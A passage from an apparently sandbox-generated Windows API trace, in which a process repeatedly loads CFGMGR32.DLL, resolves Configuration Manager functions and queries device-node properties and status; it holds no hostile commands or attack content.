lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0221.688] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0221.688] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0221.688] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0221.689] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0221.689] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0221.689] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0221.689] malloc (_Size=0x18) returned 0x196ef0d20e0 [0221.689] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x19, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0221.690] malloc (_Size=0x48) returned 0x196ef0fbdb0 [0221.690] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x64fd2abc, dwHighDateTime=0x1d9eb0c)) [0221.690] SetEvent (hEvent=0x248) returned 1 [0221.694] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0221.694] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0221.694] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0221.694] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0221.695] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0221.695] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0221.695] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0221.695] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0221.695] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0221.695] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0221.695] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0221.696] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0221.696] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0221.696] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0221.696] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0221.696] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0221.696] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0221.697] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0221.697] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0221.697] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0221.697] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0221.697] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0221.697] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0221.697] malloc (_Size=0x18) returned 0x196ef0d19a0 [0221.698] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x19, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0221.698] malloc (_Size=0x48) returned 0x196ef0fba40 [0221.698] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x64ff78f3, dwHighDateTime=0x1d9eb0c)) [0221.698] SetEvent (hEvent=0x248) returned 1 [0221.703] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0221.703] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0221.703] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0221.703] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0221.703] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0221.703] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0221.704] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0221.704] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0221.704] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0221.704] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0221.704] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0221.704] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0221.704] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0221.705] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0221.705] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0221.705] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0221.705] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0221.705] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0221.705] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0221.705] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0221.706] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0221.706] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0221.706] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0221.706] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0221.706] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x19, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0221.706] malloc (_Size=0x48) returned 0x196ef0fbfe0 [0221.707] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x64ff78f3, dwHighDateTime=0x1d9eb0c)) [0221.707] SetEvent (hEvent=0x248) returned 1 [0221.712] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0221.712] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0221.712] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0221.712] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0221.713] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0221.713] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0221.713] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0221.713] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0221.713] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0221.713] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0221.714] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0221.714] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0221.714] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0221.714] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0221.714] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0221.714] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0221.714] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0221.715] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0221.715] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0221.715] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0221.715] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0221.715] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0221.715] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0221.716] malloc (_Size=0x18) returned 0x196ef0d1e20 [0221.716] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x19, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0221.719] malloc (_Size=0x48) returned 0x196ef0fba40 [0221.719] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6501bfa4, dwHighDateTime=0x1d9eb0c)) [0221.720] SetEvent (hEvent=0x248) returned 1 [0221.723] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0221.723] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0221.724] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0221.724] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0221.724] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0221.724] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0221.724] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0221.725] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0221.725] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0221.725] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0221.725] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0221.725] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0221.725] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0221.725] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0221.726] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0221.726] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0221.726] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0221.726] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0221.726] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0221.726] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0221.726] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0221.727] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0221.727] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0221.727] malloc (_Size=0x18) returned 0x196ef0d19a0 [0221.727] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x19, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0221.727] malloc (_Size=0x48) returned 0x196ef0fb3b0 [0221.727] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x65042121, dwHighDateTime=0x1d9eb0c)) [0221.728] SetEvent (hEvent=0x248) returned 1 [0221.837] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0221.837] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0221.838] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0221.838] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0221.838] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0221.838] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0221.838] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0221.838] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0221.838] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0221.838] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0221.839] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0221.839] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0221.839] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0221.839] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0221.839] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0221.840] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0221.840] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0221.840] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0221.840] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0221.840] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0221.841] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0221.841] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0221.841] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0221.841] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0221.841] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x19, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0221.842] malloc (_Size=0x48) returned 0x196ef0fbe50 [0221.842] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x6514dd45, dwHighDateTime=0x1d9eb0c)) [0221.842] SetEvent (hEvent=0x248) returned 1 [0221.846] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0221.846] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0221.847] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0221.847] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0221.847] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0221.847] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0221.848] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0221.848] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0221.848] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0221.848] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0221.848] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0221.849] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0221.849] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0221.849] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0221.849] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0221.849] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0221.850] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0221.850] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0221.850] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0221.850] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0221.850] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0221.851] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0221.851] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0221.851] malloc (_Size=0x18) returned 0x196ef0d1ca0 [0221.851] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x19, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0221.852] malloc (_Size=0x48) returned 0x196ef0fb450 [0221.852] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6517386c, dwHighDateTime=0x1d9eb0c)) [0221.852] SetEvent (hEvent=0x248) returned 1 [0221.858] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0221.858] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0221.858] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0221.859] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0221.859] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0221.859] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0221.859] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0221.859] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0221.860] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0221.860] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0221.860] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0221.860] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0221.861] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0221.861] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0221.861] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0221.861] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0221.862] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0221.862] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0221.862] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0221.862] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0221.862] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0221.863] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0221.863] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0221.863] malloc (_Size=0x18) returned 0x196ef0d1de0 [0221.863] CM_Get_Device_IDA (in: dnDevInst=0x1a, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ROOT\\COMPOSITEBUS\\0000") returned 0x0 [0221.864] malloc (_Size=0x48) returned 0x196ef0fbae0 [0221.864] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x6519985a, dwHighDateTime=0x1d9eb0c)) [0221.864] SetEvent (hEvent=0x248) returned 1 [0221.868] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0221.868] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0221.869] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0221.869] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0221.869] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0221.870] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0221.870] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0221.870] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0221.870] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0221.871] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0221.871] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0221.871] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0221.871] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0221.872] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0221.872] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0221.872] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0221.872] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0221.873] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0221.873] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0221.873] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0221.873] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0221.873] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0221.874] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0221.874] malloc (_Size=0x18) returned 0x196ef0d1e00 [0221.874] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1a, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0221.875] malloc (_Size=0x26) returned 0x196ef0f9ca0 [0221.875] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1a, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0f9ca0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0f9ca0, 